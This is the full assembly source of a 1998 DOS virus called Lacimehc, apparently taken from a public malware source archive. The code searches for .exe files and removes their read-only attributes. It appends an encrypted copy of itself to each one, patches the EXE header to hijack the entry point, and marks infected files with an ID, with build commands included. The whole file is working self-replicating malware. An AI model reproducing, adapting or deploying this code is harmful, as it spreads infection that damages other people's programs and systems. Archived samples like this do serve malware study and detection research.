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https://github.com/vxunderground/MalwareSourceCode
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261 lines
14 KiB
NASM
261 lines
14 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Lacimehc v1.0 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `-------------------| Started: 13/06/98 | Finished: 15/06/98 ;
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; `-------------------^------------------- ;
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; v1.0 - first attempt at .EXE infection, probably full of | Size: 597 ;
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; - errors and unoptimized stuff, but I will fix all `---------- ;
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; - that when I have a better understanding of what the ;
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; - hell is actually going on, it's complicated! hehe ;
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; v1.1 - added encryption to this exe appender! XOR,ROR,NEG ;
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; ------------------------------------------------------------------------- ;
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; ---------------> You Cannot Sedate All The Things You Hate <------------- ;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm lacimehc.asm ;
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; to link :::::] tlink /t lacimehc.obj ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment 'code'
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assume cs:code,ds:code ; assign CS and DS to code
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org 100h ; original is a .com file
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blank: db 0e9h,0,0 ; jump to beginning
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start: call delta ; push IP on to the stack
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delta: pop bp ; pop it into BP
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sub bp,offset delta ; get the delta offset
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push ds es ; save original DS and ES
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push cs cs ; push CS twice
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pop ds es ; CS = DS = ES now
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decr: jmp once ; jump to once (overwritten)
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lea si,[bp+encd] ; points to encrypted area
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mov di,si ; move the value into DI
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call encr ; call our decryption loop
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jmp encd ; jump to main virus
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encr: lodsb ; load a byte into al
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ror al,4 ; encryptin 1
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neg al ; encryptin 2
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xor al,byte ptr [bp+key] ; encryptin 3 -final-
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neg al ; unencrypt 2
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ror al,4 ; unencrypt 1
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stosb ; return the byte
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loop encr ; do this for all bytes
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ret ; return from call
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key db 0 ; our key value
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encd: mov ax,word ptr [bp+exe_cs] ; exe_cs and _cs
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mov word ptr [bp+_cs],ax ; are now equal
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push [bp+exe_cs] ; save CS
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push [bp+exe_ip] ; save IP
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push [bp+exe_ss] ; save SS
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push [bp+exe_sp] ; save SP
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mov ah,1ah ; set new DTA location
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lea dx,[bp+offset dta] ; new DTA goes here
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int 21h ; DTA is now moved
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mov ah,4eh ; find first file
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lea dx,[bp+exefile] ; with extension .exe
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mov cx,7 ; possible attributes
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findit: int 21h ; find a .exe
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jnc cont ; found one? continue on
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jmp exit ; return control to host
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cont: lea dx,[bp+dta+1eh] ; get file name info
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mov ax,4300h ; get file attributes
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int 21h ; get them now
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push cx ; save the attributes
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push dx ; and the file name info
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mov ax,4301h ; set file attributes
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xor cx,cx ; to none at all
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int 21h ; infect even read only now
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mov ax,3d02h ; open the file
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int 21h ; file is opened
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xchg bx,ax ; move file handle in BX
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jnc cont2 ; no problems? continue on
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jmp abort ; whoops, find another one
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cont2: mov ax,5700h ; get the time / date stamps
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int 21h ; we have the stamps
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push cx ; save the time
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push dx ; save the date
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mov ah,3fh ; read from file
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mov cx,1ch ; read the EXE header
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lea dx,[bp+offset header] ; store it into 'header'
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int 21h ; do the int 21 this time
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cmp word ptr [bp+header],'ZM' ; check for the initials
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je cont3 ; its good, infect it
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cmp word ptr [bp+header],'MZ' ; check for the initials
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je cont3 ; its good, infect it
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jmp next ; find next file
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cont3: cmp word ptr [bp+header+10h],'JK' ; check for our ID bytes
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jne cont4 ; not done before, infect it
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jmp next ; infected, get another one
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cont4: mov ax,word ptr [bp+header+18h] ; load AX with offset 40h
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cmp ax,40h ; is this a WinEXE file?
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jnae cont5 ; nope, continue on
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jmp next ; yup it is, get another one
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cont5: cmp word ptr [bp+header+1ah],0 ; check for internal overlays
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je infect ; nope, infect this file now
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jmp next ; there are, get another one
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infect: push bx ; save file handle
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mov ax,word ptr [bp+header+0eh] ; get original SS into AX
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mov word ptr [bp+exe_ss],ax ; save it into exe_ss
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mov ax,word ptr [bp+header+10h] ; get original SP into AX
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mov word ptr [bp+exe_sp],ax ; save it into exe_sp
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mov ax,word ptr [bp+header+14h] ; get original IP into AX
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mov word ptr [bp+exe_ip],ax ; save it into exe_ip
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mov ax,word ptr [bp+header+16h] ; get original CS into ax
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mov word ptr [bp+exe_cs],ax ; save it into exe_cs
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mov ax,4202h ; scan to end of file
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xor cx,cx ; xor cx to 0
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cwd ; likewize for dx
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int 21h ; DX:AX holds file size now
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push ax dx ; save file size for awhile
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mov bx,word ptr [bp+header+8h] ; header size in paragraphs
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mov cl,4 ; load CL with 4
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shl bx,cl ; multiply bx by 16 (4x4=16)
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sub ax,bx ; subtract file size
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sbb dx,0 ; if CF is set subtract 1
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mov cx,10h ; cx = 10h = 16
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div cx ; undue our mutiplying x16
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mov word ptr [bp+header+14h],dx ; put the offset in
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mov word ptr [bp+header+16h],ax ; segment offset of code
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mov word ptr [bp+header+0eh],ax ; segment offset of stack
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mov word ptr [bp+header+10h],'JK' ; put our ID in
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pop dx ax bx ; restore file size / handle
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add ax,finished-start ; add our virus size
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adc dx,0 ; if CF add 1, if not, 0
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mov cx,512 ; convert to pages
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div cx ; by dividing by 512
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inc ax ; round up
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mov word ptr [bp+header+4],ax ; put the new PageCnt up
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mov word ptr [bp+header+2],dx ; put the new PartPag up
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mov ax,4202h ; scan to end of file
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xor cx,cx ; xor cx to 0
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cwd ; likewize for dx
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int 21h ; DX:AX holds file size now
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in al,40h ; get a random value
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mov byte ptr [bp+key],al ; save as our key
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mov ah,40h ; write to file
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lea dx,[bp+start] ; starting here
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mov cx,encd-start ; # of bytes to write
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int 21h ; write them now
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lea di,[bp+finished] ; where to put bytes
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push di ; save value
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lea si,[bp+encd] ; where to get bytes
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mov cx,finished-encd ; # of bytes to do
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push cx ; save value
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call encr ; encrypt the bytes
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mov ah,40h ; write to file
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pop cx ; restore first value
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pop dx ; restore second value
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int 21h ; write them to file
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mov ax,4200h ; seek to start of file
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xor cx,cx ; cx to 0
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cwd ; likewize for dx
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int 21h ; at start of file now
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mov ah,40h ; write to file
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lea dx,[bp+header] ; write the new header
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mov cx,1ch ; # of bytes to write
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int 21h ; write it now
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next: mov ax,5701h ; set time / date stamps
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pop dx ; restore the date
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pop cx ; restore the time
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int 21h ; time / date are restored
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mov ah,3eh ; close the file
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int 21h ; close it up now
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abort: mov ax,4301h ; set file attributes
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pop dx ; for this file name
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pop cx ; with these attributes
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int 21h ; attributes are restored
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mov ah,4fh ; find next file
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jmp findit ; start all over again
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exit: pop [bp+exe_sp] ; restore SP
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pop [bp+exe_ss] ; restore SS
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pop [bp+exe_ip] ; restore IP
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pop [bp+exe_cs] ; restore CS
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mov ah,1ah ; restore the DTA
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mov dx,80h ; new address for DTA
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int 21h ; back to original location
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pop es ds ; pop ES and DS from stack
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mov ax,es ; ax points to PSP
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add ax,10h ; skip over the PSP
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add word ptr cs:[bp+_cs],ax ; restoring CS
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mov bx,word ptr cs:[bp+exe_ip] ; move the IP into bx
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mov word ptr cs:[bp+_ip],bx ; save the IP into _ip
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cli ; clear interrupt flag
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mov sp,word ptr cs:[bp+exe_sp] ; adjust ExeSP
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add ax,word ptr cs:[bp+exe_ss] ; restore the stack
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mov ss,ax ; adjust ReloSS
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sti ; set interrupt flag
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db 0eah ; jmp far ptr cs:ip
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; ---------------------------( The Data Area )----------------------------- ;
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; ------------------------------------------------------------------------- ;
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_ip dw 0 ; used as offset for db 0eah
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_cs dw 0 ; used as offset for db 0eah
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exe_cs dw 0fff0h ; original CS
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exe_ip dw 0 ; original IP
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exe_sp dw 0 ; original SP
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exe_ss dw 0 ; original SS
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exefile db "*.exe",0 ; infecting .exe files
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header db 1ch dup (?) ; space for the header
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dta db 43 dup (?) ; space for the new dta
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finished: ; end of the virus
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; ---------------------( Not Saved / Not Encrypted )----------------------- ;
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; ------------------------------------------------------------------------- ;
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once: lea si,[bp+new] ; bytes to move
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lea di,[bp+decr] ; to be moved here
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movsw ; move two bytes
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movsb ; move one byte
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jmp encd ; jump to main body
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new: mov cx,finished-encd ; this replaces the jump
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; -----------------------------( The End )--------------------------------- ;
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; ------------------------------------------------------------------------- ;
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code ends ; end code segment
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end blank ; end / where to start
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; ------------------------------------------------------------------------- ;
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; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
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; ------------------------------------------------------------------------- ;
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